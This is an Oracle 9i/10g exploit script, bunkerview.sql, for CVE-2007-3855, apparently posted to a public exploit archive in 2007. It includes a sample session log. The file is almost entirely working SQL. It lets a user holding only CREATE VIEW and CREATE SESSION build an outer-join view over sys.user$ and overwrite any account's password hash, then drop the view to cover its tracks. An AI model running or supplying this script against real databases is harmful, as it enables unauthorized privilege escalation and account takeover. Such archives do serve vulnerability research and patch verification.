bunkerview.txt
Posted on 20 July 2007
-- -- bunkerview.sql -- -- Oracle 9i/10g - evil view exploit (CVE-2007-3855) -- Uses evil view to perform unauthorized password update -- -- by Andrea "bunker" Purificato - http://rawlab.mindcreations.com -- 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2 -- -- This code should be used only for LEGAL purpose! -- ...and remember: use Oracle at your own risk ;-) -- -- Thanks to security researchers all around the world... -- Smarties rules (they know what I mean)! ;-D -- -- -- SQL> select * from user_sys_privs; -- -- USERNAME PRIVILEGE ADM -- ------------------------------ ---------------------------------------- --- -- TEST CREATE VIEW NO -- TEST CREATE SESSION NO -- -- SQL> select password from sys.user$ where name='TEST'; -- -- PASSWORD -- ------------------------------ -- AAAAAAAAAAAAAAAA -- -- SQL> @bunkerview -- [+] bunkerview.sql - Evil view exploit for Oracle 9i/10g (CVE-2007-3855) -- [+] by Andrea "bunker" Purificato - http://rawlab.mindcreations.com -- [+] 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2 -- -- Target username (default TEST): -- -- View created. -- -- old 1: update bunkerview set password='6D9FEAAB597EF01B' where name='&the_user' -- new 1: update bunkerview set password='6D9FEAAB597EF01B' where name='TEST' -- -- 1 row updated. -- -- -- View dropped. -- -- -- Commit complete. -- -- SQL> select password from sys.user$ where name='TEST'; -- -- PASSWORD -- ------------------------------ -- 6D9FEAAB597EF01B -- set serveroutput on; prompt [+] bunkerview.sql - Evil view exploit for Oracle 9i/10g (CVE-2007-3855) prompt [+] by Andrea "bunker" Purificato - http://rawlab.mindcreations.com prompt [+] 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2 prompt undefine the_user; accept the_user char prompt 'Target username (default TEST): ' default 'TEST'; create or replace view bunkerview as select x.name,x.password from sys.user$ x left outer join sys.user$ y on x.name=y.name; update bunkerview set password='6D9FEAAB597EF01B' where name='&the_user'; drop view bunkerview; commit;
